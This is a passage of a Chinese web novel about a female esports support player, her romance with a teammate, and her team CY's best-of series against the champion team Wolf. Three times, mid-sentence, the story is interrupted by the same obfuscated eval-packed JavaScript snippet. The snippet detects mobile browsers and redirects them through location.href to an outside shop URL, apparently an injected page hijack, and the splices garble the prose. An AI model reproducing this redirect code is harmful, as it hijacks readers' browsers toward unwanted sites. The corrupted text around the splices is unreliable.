评论乌泱泱的,众人的重心从一开始骂顶上来的新人再到俱乐部,现在也算统一战线骂起了资本。 妄想借电竞的热度进军娱乐圈,也引来了官方的禁赛。 于是卡位赛迎来了难得的BTG首发队全员阵容。 虽然曾经那样敌对,但此刻宣依还是不免心生同情,明明可以在赛场上叱咤风云,却因为乱七八糟的外界因素让一场公平的比赛都显得弥足珍贵。 一口呼气,宣依起身拉开门。 齐呈枫靠在墙边垂眸看手机的动作一收,抬头熄了屏看向宣依。 “你要用嘛?”宣依腾开入门的位置。 他摆头,揉了揉宣依的头:“你怎么啦?” 被一件与自己没什么关系的事情影响心情,宣依也不知如何开口。 “因为BTG还是南城?” “这也猜得到,”宣依瞥了他眼,吐槽,“你有读心术吧。” “小傻依,刚听完他们讨论就躲里面半小时,想不猜到都难。”齐呈枫手附在宣依脑后,带着她往沙发走,彼时一群人在甜点过后唱起了小甜歌,恰好切歌,两人便直接路过大屏幕。 前奏落下,任哲文拿起桌上的麦克风:“他留给你是背影,关于爱情……” 一字一词落在齐呈枫耳中,他隔着一片热闹看向靠在沙发椅背上低眉深情歌唱的任哲文,又收回视线:“小傻依。” “别逮着一个点不松啊。” “我说,我爱你。” 宣依抬眼看他:“又发什么神经呢。” 余光无意识扫过屏幕上流过的歌词,才察觉到包间内被热闹充斥之外有些突兀的忧愁歌声。 像是为了这句话找补,齐呈枫笑着说:“我的意思是,因为我爱你所以无论什么事你都可以和我说。” 宣依点着头,像是默认他的说辞,嘴上却毫不留情地戳破:“你不说,我还以为你是因为那句歌词呢。” “宣依!” “给你男朋友留点面子呗。” “好的,”宣依笑着坐下,拍了拍身侧的空位,开口解释道自己异样的情绪,“从前呢我总感觉自己很不幸,但我这一路上其实也算不上坎坷,只是我将那些挫折看得太重,太急于证明自己……” 一个不太好的开场白,压低了自己的姿态,齐呈枫听了两句便皱眉打断了这句话:“宝宝,你别这样,不要因为现在的幸运否认从前的自己,那些让自己伤心不开心的事不想提就不提,不要这样轻描淡写,我……真的心疼。” 从齐呈枫知道那些事的时候就心疼,心疼年幼天真的她就连失去父亲都觉得是自己的错,心疼她将一路走来的所有当成每个人必然会遇见的挫折。 “我哪有?”宣依抬手揉了揉齐呈枫瘪下的嘴角,“好吧好吧,不说。” 跳过那些铺垫,转折来得有些生硬:“我就觉得BTG他们其实挺厉害的,却因为外界因素不能全力以赴比赛,挺可惜的。” 那边音乐落了尾,留下最后一句歌词的余音与尾奏。 任哲文的视线越过一众热闹落在角落的两人,他唱着《他不懂》,却似一场自嘲般。 这首歌则是他们相爱的背景音乐。 两人依偎在一起,齐呈枫的手附在宣依未握实的拳上:“所以你觉得你很幸运。” “嗯,”宣依靠在了齐呈枫肩上,垂下头,拇指摩挲着齐呈枫的虎口处,“遇见你,加入CY,都好。” “都幸运。” 59. 这是第五十六章 □□腾落幕,任宙在欢闹里还对接下来的几天进行了尽善尽美的安排。 不料进入S组遇上的第一支战队便是Wolf。 “蝉联两届冠军诶,BTG和他们打都是四六开的局面,而且这赛季他们就输了三局,其中一局还是打野受伤换了替补,”魏晟咽了下口水,“怎么第一支就遇到他们啊。” 这几天众人将S组的几场经典比赛都翻看了几遍,进行分析时总是众说纷纭。但面对Wolf,几个人都一边倒一般,要不是还有几句分析的话,任宙都要怀疑他们被Wolf圈粉了。 “其实也有机可乘的,”凌一鸣勾腰找到Wolf与Sky的比赛,画质已经有些模糊,“这是一八年的秋季赛,那一届是Sky的冠军,虽然Sky换了人,但Wolf的阵容从这个时候就基本没变过了。” 宣依往里靠了些弯腰看凌一鸣点开了视频,投影幕布上也播放起这场比赛。 忽然肩膀一沉,一股力道将她往外拉了些。 齐呈枫朝着幕布扬下巴道:“看这儿。” 但宣依压根没看齐呈枫,她能感受到做出此举的除了他也没别人了,再加上这些天的亲昵,这种勾肩搭背的姿势她也习惯了。 训练室沉寂了十九分钟,在Wolf三灭,Sky下路一波的局面下结束。 “这样输的?”宣依还没缓过神来,“有点……” “这种打法很冒险,先手条件很局限,”凌一鸣又找起其他视频,“但Wolf也许就适合这样打,他们习惯性每一场都将主战场侧重一路,直至现在也未改变。” 视频中这一场,Wolf有了小顺风,在上路开了一波团,他们未曾想一座塔都没被推的上路开团会落下风,而Sky的大乔还在下路做好了伺机而动的准备,哪怕当时没有三灭,他们回城的速度也难以赶上五人带一波完整兵线推塔的速度。 “喜欢侧重一路的话,我们第一场可以试一下换路。”程舟道。 “上下换?”凌一鸣有些恨铁不成钢,“我的意思其实是,这个打法我们也可以用。” 宣依摇了摇头。 “不太行。”两个声音异口同声。 宣依谦让地将陈述原由的机会让给了齐呈枫。 “在季后赛我们可以这样打,但现在用这种方法反而会让Wolf快速做出调整,不如顺着他们的打法正常打。” “但换路可以,”齐呈枫话落,宣依又接上,“三路都换,我开局跟魏晟打中,程舟打下路,你打上。” “不需要看阵容吗?”凌一鸣还是觉得不太妥。 “大部分的好像都可以用,”程舟顺着宣依的话列了个假设,“但如果对面用小明跟射手,我可能……” “那压个位选英雄。”齐呈枫给出提议。 “行啊,”凌一鸣慢一拍构思完阵容选择的问题,附和道,“你俩口子一唱一和,挺默契啊。” 顺着这句话,两人一左一右偏头对视上。 “那不挺好。” “哈哈哈,”魏晟看着两人默契对视,莫名想到了一个词便脱口而出,“射辅合一。” 宣依的目光还落在齐呈枫身上,看着他冷冷往魏晟的方向瞥了眼,不似平时本身带着的冷峻,是从眼神里抬眼轻瞟的冷漠。 “好啦好啦,”凌一鸣打着圆场拍了拍魏晟的肩,“那分析差不多了,来打一把?” 说着,一行人便起身入了座。 任宙领着副队去参加综艺的后续录制,他们只能随缘匹配五排了。 “我想试一下杨玉环辅助。”宣依戴上耳机道。 “可以啊,”程舟附和,“那我这把嬴政。” 齐呈枫刚准备问这把他用什么,就看见宣依的预选框匆匆闪过百里的头像,心照不宣般,齐呈枫确定了自己的英雄。 自从任宙批评过齐呈枫英雄选择单一后,孙尚香仿佛成为了CY的杀手锏一般,而英雄池的扩展就如现在这般,靠着宣依一个一个英雄随机挑选出来。 但其实每个射手,齐呈枫都会玩,只是有些英雄的技能会不适用于一些战术,例如百里守约,因为攻击方式会将打法局限很多,所以一众射手英雄的训练都近了尾声,宣依才选择了他。 也是对战Wolf的计策之一。 路人局打得很顺,宣依虽然并不是个抗伤的英雄,但在路人局里,她的尝试难免大胆些,有两次团都是以她的二技能控人为指令开的。 而齐呈枫与她也默契,蹲在墙边,在控住人的一刻便瞄一枪,这样一波团的开始便是一个或是两个残血的局面。 只是对Wolf的话,必然没有这么顺利。 宣依“无法命中”效果结束,倒在了敌方高地,屏幕灰下来后,她沉头摩挲着指尖思索起刚才几幕赛事回放的场景。 直到屏幕再次点亮颜色,被敌方水晶炸裂的“victory”填满,她才顿住了动作:“齐呈枫,我俩双排。” - 隔天一群人元气满满地与Wolf擦肩,进了休息室。 随着CY名气打开,虽然没什么商业活动但任宙还是有些忙碌,也错过了很多与众人交流的机会,此刻也只是拍了拍凌一鸣的肩嘱咐:“与他们的比赛不要将输赢看得太重,你们这一轮的目的是熟悉S组的每支战队。” 三两句交流里,有人来通知比赛开始。 一群人便走出了休息室。 在靠近舞台的走廊处,已经可以听见外面此起彼伏的欢呼呐喊了,虽然被淹没其中,但众人还是听到了其中有一方阵营也在撕心裂肺地喊着他们的名字。 “我们出息了!”程舟做作地勾上身旁的魏晟。 宣依抬手遮住唇角,却也笑出了声,只是被周遭的喧闹给淹没了。 但难免被从始至终目光都聚焦在她身上的齐呈枫给捕捉道:“依依,你怎么偷笑啊。” “你,别总看着我,”宣依立着指头推开他要靠过来的脸,“好好比赛,赢了有奖励。” 宣依自然清楚齐呈枫伶的清孰轻孰重,但看着他却总想逗逗,至于她口中的奖励,连她自己都没想好是什么。 选手入了座,经过解说员的三言两语比赛也很快正式开始。 CY蓝方先手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254796|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌一鸣扶了下耳麦向宣依确认:“确定换路吗?” “第一场先正常打,”宣依抬眼看向对面的选手席的大屏幕,他们似乎并未在意CY的计策,队长正与教练说着什么:“他们应该也不会太激进。” “好。” 得到回应的凌一鸣直接确认了英雄,魏晟还等着宣依的预选弹出来。 但沉浸在思维里的宣依忘记和魏晟商量英雄了,等耳机里传来魏晟的声音时,他已经急冲冲确认了杨玉环。 好在影响并不大,只是提前将训练的打法拿出来而已:“对不起对不起,我忘了选英雄了。” “那就这样正常打,呈枫你还是用百里。” “好。” 三两句话,众人的情绪还是很快从这场失误里调整过来,宣依呼了口气:“晟,给你选什么英雄?” “关羽的话,那我就用花木兰吧。” 宣依垂眉,恍惚想起之前偶然刷到的一篇CY分析帖,兴许是常规赛一路以来的表现,这篇帖子讨论度很高,将CY每个人卓出的英雄都列了出来,而魏晟列出来的其中之一便是花木兰。 又两名英雄选定,宣依忽而迸发一个有点意思的想法:“你们说,五把利剑同时出场会是什么效果?” 突兀的一句话,几人自然有点懵。 “晟,这把用曜OK嘛?” 魏晟从茫然里抽出一缕清醒:“不太好打,对面铠打野。” “不用木兰的话,吕布和老夫子都行。” 宣依便在倒计时轮到她时塞上了一个老夫子,然后开口解释道刚才那句话:“下一把你再用木兰,呈枫用香香,我打鬼谷子……” “懂了。”凌一鸣了然道。 确实一路以来,从来没有一局将他们拿手英雄集齐的。从前他们总协商着阵容搭配,这种方法中规中矩无功无过,但面对Wolf这样的战队,寻常的打法他们吃不到好处…… 第一场比赛开始。 顺着保险起见的决定,开局两分半,众人还是按着平时的打法来的,三路的节奏也都正常。 宣依帮完中路第一波兵线往下时,却总觉不对劲,往野区一绕,移动的摇杆明显顿了半秒:“对面偷红了。” “没事,”凌一鸣淡然,“我先偷的他们的。” 凌一鸣用的阿珂,刷野速度要快于对面铠,所以双方默契偷红这件事似乎并没太大影响。 但过于风平浪静反而让众人有些不安,第七分钟,程舟再次撤回防御塔内避开了对面不知火舞第三次贴脸开团的打算。 “不打也不行啊,”程舟吃了血包回状态,小地图里红蓝双方的防御塔都还完完整整,CY中塔要吃点亏,但也无伤大雅,“这样要拖多久?” “那就开咯。”下路一波强压下,对方射手顶着残血逃了。 程舟心领神会将不知火舞向草丛引了个假视野。 宣依的二技能范围确认,在龙坑视野边缘。而齐呈枫位置正在敌方蓝区的墙边。 一瞬的屏息敛声,所有人又专注了几分。 宣依二技能落下,一波团战一触即发。 60. 这是第六十章 二技能落下一瞬,还多了一个意料之外的视野——铠也在中路草丛。 齐呈枫刚好拉好二技能却因为这突然的视野偏了,控制效果结束,不知火舞便一个扇子扑向程舟。 铠也一个大招出了草丛,齐呈枫的二技能已经暴露了位置,开大后便直奔他。 他手里还捏着大招,宣依第一反应便是向程舟方向支援,刮痧的一技能落下却丝毫未改变什么,凌一鸣隐身入场,经济领先的打野在此刻很有优势,三两下便打残了对方。 这边松一口气,而另一边用大招与铠拉出一堵墙距离的齐呈枫刚往野区处撤退却被对面射手堵了去路。 残血状态。 “没回去!?”宣依在凌一鸣赶到的同时抽身往下路支援。 Wolf的辅助钟馗却一记钩子将她又拉回了中路,但他并没接着开大,宣依手指松开下路的视野,顺从地留在了中路。 而上前追射手的铠也在这个时候放弃,转身往阿珂处进攻。 看似顺其自然,但一切自然得像是他们早有预料。 “撤撤撤。”宣依有些凌乱。 话刚出,钟馗便闪现到了三人之间,开了个没什么控制效果的大招,却也削了他们的移动能力。 到最后,不知火舞反而活了下来,CY中路三人都没了。 齐呈枫皱眉:“什么鬼。” “没事没事,第一波团而已,”宣依垂下手在衣角蹭了蹭汗水,“鸣哥,准备抢龙,不能再丢节奏了。” 复活倒计时结束,宣依直接往龙坑探视野,凌一鸣紧随其后。 宣依卡好血量开大进场,无法命中的一方凌乱里,铠似乎提前按下了惩戒,也为这波抢龙又添上一份机率。 “yourteamhasreclaimedthecrucialkill”语音播报里,凌一鸣上前断后掩护宣依撤退。 只是一波龙,但好歹将中路那波顺势的经济挽回了一截。 “酷!”魏晟高呼,一个大招将关羽磨掉。 “你也酷,”宣依扫了眼头顶的播报,“不愧是我们魏神。” 宣依抢完龙便绕野区回下路,路过中路时看了下状况,没见法师。 于此同时程舟正在清河蟹,只在下路标了个注意的点:“火舞可能去下路了。” 彼时,齐呈枫下路已经有射辅两人了,如果火舞下去,他们三人势必不会空手而归。 齐呈枫在下路两边草丛都插了眼,却并没有不知火舞的视野。 宣依皱皱眉,还是跟上了齐呈枫:“先把塔推了。” 刚随着一波兵线压上前,一个扇子打在了走在前面的宣依。 火舞的站位卡在了百里一技能的边缘位置,以至于她扇子打出来的那刻,两人都有些没反应过来。 程舟清完新一波兵线,拉了下路视野:“我推塔。” “没事,”宣依拉着二技能摇摆着往后拉操纵杆,勉强在最后一秒的拉动里控到了射手,“走走走。” 话落,齐呈枫还是瞄了一枪,才开大往后撤,落尾点正好扑来火舞的大招。 对面射手掉的那刻,齐呈枫也被火舞突脸。 宣依换了个形态开大,大招的四秒里,她无助地看着齐呈枫倒下,又只能往回撤,还没撤到塔下,铠从红区进入百里眼的视野又走进宣依的视野。 她拉着摇杆往边缘靠。 因为位置的明确性,钟馗钩子过来的那瞬就注定了结果,她无论继续往前还是往旁边移都一样。 没什么反抗能力的她,就这样在三人的技能混乱里倒下了。 对面趁着这一波直接跟上兵线推塔。 而中路,Wolf并未给他们留路,不知火舞往下埋伏的时候便有了对面关羽下来守塔,程舟空了控制后便没硬推了。 只掉了两个,却又丢了一波节奏。 凌一鸣赶来清兵,钟馗在前面保护小兵,宣依拉着视野“啧”了声:“撤吧,这座塔放了。” 随着一座塔的坍塌,敌方的活动区域明显广泛了很多,Wolf顺着这波优势压着他们打。 又接了两波团,劣势一下拉开,推到了高地。 第一局结束。 宣依摘下耳机,抬头看向大屏幕水晶破碎的镜头:“准备下一场吧。” 只进行了十四分钟。 六比十三。 选手在观众席的呐喊里退下舞台,齐呈枫抬手想要安慰宣依,却犹豫了好一会儿跟上了大部队的步伐走到前列。 宣依落在尾看着那些背影,走到休息室门口时顿下脚步拍了下魏晟的肩:“我去趟洗手间,你们先讨论吧。” 魏晟的反射弧总是长的,他们输过那么多场比赛,偶尔的情绪低落在他这儿不会有什么特殊,只是点头进了休息室。 “噗呲”水龙头扯到边缘,浸盖过她白皙的手掌,又随着弯曲的手指打捞起,一个扬手,水滴从她脸颊滑落,一捧接着一捧的水将指尖浸出纹路。 她才沉沉呼了口气,抬手抽了两张纸擦净脸颊。 在抬头,她便看见了镜子里靠在洗手间门边的任宙,两人的目光在镜子里交织,任宙迈步走了过来轻声道:“在自责?” 历经那么多场比赛,宣依自然不是因为一场输赢而溃败的人。这场并没有兵败如山,输的因果关系搭建得也那样自然。 刚浸泡过水的手又溺出点点汗液,宣依垂下头错开了眼神间的所有交流:“我的错。” “在开始比赛之后就不应该胡思乱想其他的东西。” “但你这把的操作没问题的,”任宙揽过她肩,将她往怀里带,“谁没有失误的时候呢?” 加入CY的一些幸运,比如这支队伍有血有肉,不是比赛的工具,作为教练的任宙其实很清楚这把阵容上就已经出了问题,可第一时间她也只是关心自己队员的心理。 在一个陌生的气息里,宣依有些难耐眼眶的泪,她抬手揉了下眼眶,假装深呼了一口气转向任宙:“任姐,下一场马上开始了,我先回去准备了。” 任宙拍拍她的肩:“嗯,去吧。” 宣依转到墙角,捏着手中皱皱的纸边走边将溢出的泪水擦掉。 垂眸的前进步伐里,她撞进了熟悉的气息里。 所有的镇静一瞬松懈,她的手几乎没有半分犹豫便环了上去,一寸寸收紧。 像要把自己镶入这份温度里,也像借着这份温度让自己找回理智。 无限贴近里,她的话有些含糊不清:“都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272253|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪我,没管阵容就选了英雄,连视野都不清楚就上……” 她像是赛后复盘般将自己的错一一列举出来,也不乞求谁的谅解,只是一股脑地说着。 齐呈枫低下头抵在她的头顶,也不打断她,就听她一句一句的呢喃。 “嗯,我都知道了,”齐呈枫在她末了的话尾轻声回应,“以后不犯这样的错了,原谅自己好嘛?” 宣依才抬起她那晕红的脸,睫毛被泪水浸.透,贴在眼睑上,齐呈枫就从兜里的抽纸里取了张,一手掌着她微微颤抖的身子,一手捏着纸小心地沾着泪珠。 “不哭啦,你看,”齐呈枫低头示意自己的衣服,“我的衣服上都有你的小泪眼了。” 橙色的衣服两块水印加深了色彩,好不显眼。 位置还有点独特,宣依看了眼不禁笑出声,淡了哭声,声音却还是软糯:“我是不是耽误好久啦。” “有点久,”齐呈枫掏出手机看了眼时间,“还有三分钟开始下一场了。” 宣依也顺势看向手机里的时间。 将那张锁屏也尽收眼底。 朝阳初升的老楼房边,少女的背影框在其中,套着的还是长袖队服,发尾荡在一侧,有些纤瘦却在奔跑的姿态里看不出任何柔弱感。 这个画面带着一段记忆涌上来。 只是宣依向来记性不好,对于她而言不太重要的事情说忘便忘,齐呈枫握着宣依的手往休息室走:“下把按刚才说的那样打吗?” “我们那时候为什么吵架啊?”宣依问。 “什么?”齐呈枫反应了一下,想起自己的锁屏挠了挠头,“我也不记得了,反正是我的错就对了。” 宣依点点头感叹:“那挺好。” “嗯?什么挺好?” “他们说情侣吵架总爱翻旧账,”宣依总喜欢牵手时用拇指摩挲齐呈枫的手指,就像是逗猫时摸下巴一样,“我们俩这样,就没得旧账可翻了。” 齐呈枫笑着:“但我还记得刚才,我家依依答应不犯这样的错了。” 宣依扭头瞧了眼他,思索了半秒,两人已经走到门边,齐呈枫抬手开了门。 “哪儿错了?” 两人在队里还是很注重影响,几乎都会微微保持些距离,所以齐呈枫在开门时便松开了手。 这一幕落在休息室里专心讨论下一场比赛的众人眼里成了另一幅画面—— 宣依泪眼汪汪的抬头看着齐呈枫,问:“哪儿错了。” 而齐大直男一脸懵地开了门。 几人连连上前隔开两人,一人一边地“劝架”:“依妹消消气啊,还要比赛呢,不要因为男人影响拔刀速度啊。” 另一边,“枫哥枫哥,小情侣吵架正常,女生都有点脾气的,我们先认个错,有什么等比赛结束慢慢说。” 然后两个人揽着齐呈枫的肩朝向宣依,在一束束目光里,齐呈枫莫名鞠了个躬:“对不起依依,是我的错,我不该……” 宣依看着这一幕,抬手捏着耳尖憋笑。 “不该?” “我不该脚踏两条船!”齐呈枫胡乱间将曾经宣依误会的东西脱口而出。 “啊!?”一群人的惊诧声重叠。 宣依也跟着诧异地“啊”了声。 61. 这是第六十一章 一番交流,第三场比赛也开始了。 之前的几场,只要宣依用鬼谷子全局基本就靠她的二技能来开团,但如果这一场也这样打,那计划的阵容便没什么意义了。 宣依优先ban了庄周,看着对面选出的辅助和打野确认了一下这把在阵容配对上也没什么问题:“嗯,可以打。” 于是两边英雄确认下来。 Wolf:李信、沈梦溪、貂蝉、刘邦、伽罗 CY:花木兰、澜、弈星、鬼谷子、孙尚香 “我三级前先游走,”宣依指尖捏了捏,换了一下铭文,“前期先猥琐一点。” 凌一鸣小声嘀咕着:“名字都不喊了,有点恐怖。” “是吗。”再怎么小声也还是顺着耳麦传遍每个人,宣依冷冷的声线接道。 宣依依旧优先和程舟往中路清线,一级的弈星没什么清线能力,宣依便将兵线拉扯到一起,程舟再放棋子,但耐不过貂蝉的清线速度。 第一波兵线,貂蝉直接支援的可能性不大,但宣依还是拉了下视野:“她往上路去了。” 魏晟刚清完这波兵线,视野里的人一下从一个变成了两个,又顺着宣依的话再加入了个貂蝉。 “什么鬼?” 魏晟的打法大多时候偏激进,但刚升二级就面对三个人,他有点脑子都知道该撤退。 “你往塔拉,我上来了。”宣依却开口。 撤了两步的花木兰回头丢了个二技能,给了貂蝉近身的机会。 比宣依优先赶到的是蓝开的凌一鸣,对面三人并没有撤退的打算,没有大招的澜在这样的拉扯里是吃亏的:“快点。” 宣依从河道,开着二技能掐好时间闪现到了几人之间。 三个人一瞬被拉住。 魏晟才猛回头输出,捏在手里的第二段一技能松开,拦了他们的后路。 二级,能打出什么效果? 宣依拉开一些距离按着普攻,魏晟二段拉开距离后按下刚刷新的二技能,凌一鸣又放完技能像是完成任务般转身从草丛离开。 “Firstblood.” 一声播报响起。 导播镜头才转向下路,孙尚香残留一丝血回塔下吃了血包,将残留的兵线清完。 匆匆一扫,上路的拉扯却还未结束。 程舟将第二波兵线跟着清完,沈梦溪姗姗来迟般将入塔的兵线清掉。 貂蝉在不讨好的团战里想借机逃,眼前却落下一颗黑棋,还没来及反应,另一颗白棋也跟着落下,两颗棋子碰撞收割了残血的貂蝉。 程舟又丢了颗白棋在几人之间,但黑棋的储存不够,只能迎在外围攻击。 眼看花木兰已经残掉,李信一技能甚至没拖动方向就丢了出来,往宣依这边放了过来。 魏晟笑着上前普攻收下李信。 对面三人的围攻里,只有刘邦活了下来。 “节奏不太对啊。”宣依扫了眼经济,对面沈梦溪的经济靠着一波完整的中路线在对面已经形成了小断层,但这个经济在CY这边却仅领先自己一百五。 “总感觉像是在送一样。”魏晟也有点恍惚,残血清完线后便回城回状态了。 但细想来,Wolf这把选择强攻打优势也没什么意外,他们前两轮都赢得那样顺利,别人都说CY是新赛季杀上来的一匹黑马,但经过他们验证却并不如此,所以想早点结束这场比赛没什么奇怪的。 “后面应该就是按我们节奏来了。”宣依买了件小奔狼,也跟着回城回状态然后往下路走。 经过第一波的强攻,Wolf的打法跟着猥琐了些,将重心放在了经济上。 但貂蝉多少是有点想开团的,几次中路清线时都拉着二技能突脸程舟,然后开大。 两人但凡同等级,程舟都有可能会掉,但貂蝉都已经落后了一级却仍想靠程舟的人头来拉回经济。 “对面貂蝉什么意思啊!”程舟有些不耐烦地回城,“打又打不死,又一直贴着我打。” 凌一鸣在齐呈枫支援下拿了个暴君,趁热打铁般看了眼:“那中路开一波?” “你俩打她一个没问题,”宣依看了眼经济,“最好把射手和辅助也引上去。” 下路的塔基本是在来回的残血兵线里磨掉了一半。 但恰从这一波开始,貂蝉只规规矩矩清线了,清完线开始往下路支援。 “哎,”宣依有了视野后便往塔后退,凌一鸣为了伺机那一波在蓝区蹲伏,赶过来也需要时间,“貂蝉不黏你了。” 凌一鸣便跟着程舟向前推中路塔。 沈梦溪一个大招落在了塔前,凌一鸣向前大招将沈梦溪推了出来。 程舟落下的大招落下将沈梦溪框入其中,他迅速落下二技能往边缘划,却也未能逃出。 这一局几乎每个人都在按照自己的节奏来打,加上他们原本的配合,优势打出来后,留给Wolf翻盘的机会并不多。 Wolf也意识到了这一点,从这个节骨眼开始刻意避免团战。 “下波主宰一波。”凌一鸣看了眼时间。 主宰刷在上路,下路已经推掉了一塔,二塔还有一半,鬼谷子太早出现会暴露打法,宣依便跟着齐呈枫又清掉了一波线:“先推塔。” 盯好了时间,两人丢下最后一点血量的塔从草丛往上路龙坑走。 估摸着距离的宣依开了个大招和奔狼,顺手摸到了对面法师和打野的视野。 凌一鸣孤身开龙看着就很像埋伏,但Wolf很清楚,这波龙势必是要抢的,抢到了还能再拉扯,没抢到就是守高地的环节了。 沈梦溪路线几乎和宣依二人同路,往河道赶往龙坑,彼时他刚开完暴君。 “先打。”隐身效果即将结束,宣依也顾不上龙坑的情况,开着二技能往沈梦溪方向贴。 他的二技能在开完暴君后便用了,所以宣依才会笃定地上去拉他。 CY有着经济优势,沈梦溪被拉到后第一反应便是撤退,只可惜被孙尚香二技能堵了路,两炮轰击下便消失了大半血管,接上两个普攻,沈梦溪在这场团战开始前便倒下了。 齐呈枫甚至还捏着大招,继续往上走。 “奔狼用得不划算。”宣依感慨着,二技能cd还在刷新中,她稍稍往敌方红区绕了个路。 草丛打来貂蝉的一技能。 “啧。” 宣依没控,只能往河道拉了些才拉着控制重新去拉貂蝉,齐呈枫翻滚向前接上大招。 两个技能就这样被貂蝉的二技能一次性都躲开了。 “我空了。”宣依通知着。 但是对面的视野基本集中到了河道这侧,程舟开了大招一次性框起三人。 李信那边和花木兰单独拉扯着。 剩下几个人便围攻被棋盘框起来的几人,貂蝉的大招有一半落在了棋盘之外,靠着一半的大招还在认真输出。 如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282275|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这波是宣依先拉到人再开大,对面这波就直接没了,空掉的二技能给了Wolf一线生机,他们便没有执着于这波团战,在棋盘消失的一刻,刘邦和伽罗便直接往野区撤了。 貂蝉的大招还没结束,她还在花瓣间跳跃,只是几个人站位分散,看着都残了,但貂蝉却一个也打不掉。 伽罗拉着长弓停在了野猪旁边,位置只够打在站位靠前一些的宣依身上,貂蝉也顺势将输出转到了她身上。 毕竟对于他们而言,如此局面随便带走一个都是好的。 半肉装的宣依在伽罗的减速长弓里已经没有撤退的可能性了,她堪堪按下一技能又现形,按下二技能闪现去拉伽罗。 原本往上路打李信的齐呈枫忽然回过头,将输出打在了伽罗身上。 貂蝉大招结束的爆炸结束了宣依最后一丝血,也在倒下的最后一刻二技能技术控住了伽罗。 刘邦还回过头来掩护伽罗,只是孙尚香的技能一股脑全打在了伽罗身上,普攻也优先攻击血量低的,貂蝉的吸血让她大招结束时还有小半管血。 “鸣哥,拉回来。”齐呈枫往伽罗身上按下最后一记普攻,往凌一鸣的方向又接上翻滚。 凌一鸣在这句话里,敏捷地按下大招将往反方向移动的貂蝉推了回来。 貂蝉也将计就计,迅速贴上程舟。 弈星血本就薄,在一通混乱里本就残了,已经拉开距离用一二技能打输出,被猛贴上来这刻全靠被动的名刀效果接上了闪现。 齐呈枫按着普攻往貂蝉身上打。 “李信跑了。” 上路未推掉塔,魏晟已经越塔打了一套技能,没带走李信只能撤退回城。 这边齐呈枫又带走了貂蝉。 Wolf灰掉了三人头像,几个人便直接就近往中路向高地推,但李信回好状态后第一时间便在中路伺机兵线,刚带好的兵线就被李信给打掉了。 “你为什么不去打李信!”宣依有些气地质问,“你回头干嘛!” 等不了第二波兵线,几人只能撤退。 “没事没事,”凌一鸣打着敌方的红劝诫道,“可以打的。” 但宣依这句话过后气氛始终有些冷,众人的交流都变得简洁起来,宣依还是跟着齐呈枫往下路推高地。 李信过来甩下技能便回撤,有一波兵线没了。 宣依无可奈何地回头往蓝区走:“打蓝。” 虽然被李信拖了两波兵线,但CY依旧压着节奏,宣依看着闪现cd的跳动:“下路,我拉。” 几个人便随着新一波兵线在下路汇合,宣依看着李信出来清线,便闪现上去直接拉了过来,顺手还拉了个沈梦溪,但距离原因,这波团不得不开在塔下。 一堆技能里,塔先倒了。 也让这波团开得顺利了些。 貂蝉趁站位集中跳进了人群之间,但似乎体验过太多次的经济领先让她忘了,她现在经济垫底,连换复活甲的钱都没有,她的被动确实爆炸了,但也就这么一瞬的爆炸,便结束了。 混乱里,小兵还在往前进,进到水晶下,程舟落下棋盘,不多不少将他们框在了水晶之外。 “推推推!”宣依喊着。 齐呈枫跟在小兵之后推水晶,棋盘消失,几个人虎扑般扑向小兵,又被凌一鸣的大招推了回去。 场上的呐喊声阵阵高昂。 水晶在凌乱的技能里炸裂。 第三场,他们赢了! 62. 这是第六十二章 最后比赛以1:3的成绩落败,他们并没有使用换路的计策,宣依沉头手里扒着沙发靠垫的毛绒,良久挎上了沙发上的包:“走吧。” 失败后难免会有些低沉,沉重的氛围里,众人是随着这句话才抬头迈出休息室的。 宣依难得成了领队的人走在最前面。 留下一抹瘦弱的身影。 凌一鸣抬肩推搡了下齐呈枫:“不说点什么?” “她有点生我气,”齐呈枫低声回答,“不知道怎么哄。” “女孩子嘛,”程舟蹭上来揽住齐呈枫的肩,“买束花带她吃顿饭就好啦。” 还不等齐呈枫反驳,魏晟就摇摇头:“你觉得依姐这么肤浅?” “那你说。” 几个母胎solo在后面小声议论起来,从买花吃饭到最近有什么合适的电影。 “过两天和LGO打,”宣依踏在大巴车阶梯上转过身,语气冷淡,“还看电影?” 几个男生有些尴尬地跟上步伐,上了车。 宣依坐在了末排的外侧位,将齐呈枫坐她旁边的机会也斩断。 程舟见势坐到了宣依前面的座位,抬眼示意齐呈枫,却见他直接在最前排坐下了。 两人隔开了遥远的距离,几个人夹在这两张座椅之间有些不自在地在群里讨论起来。 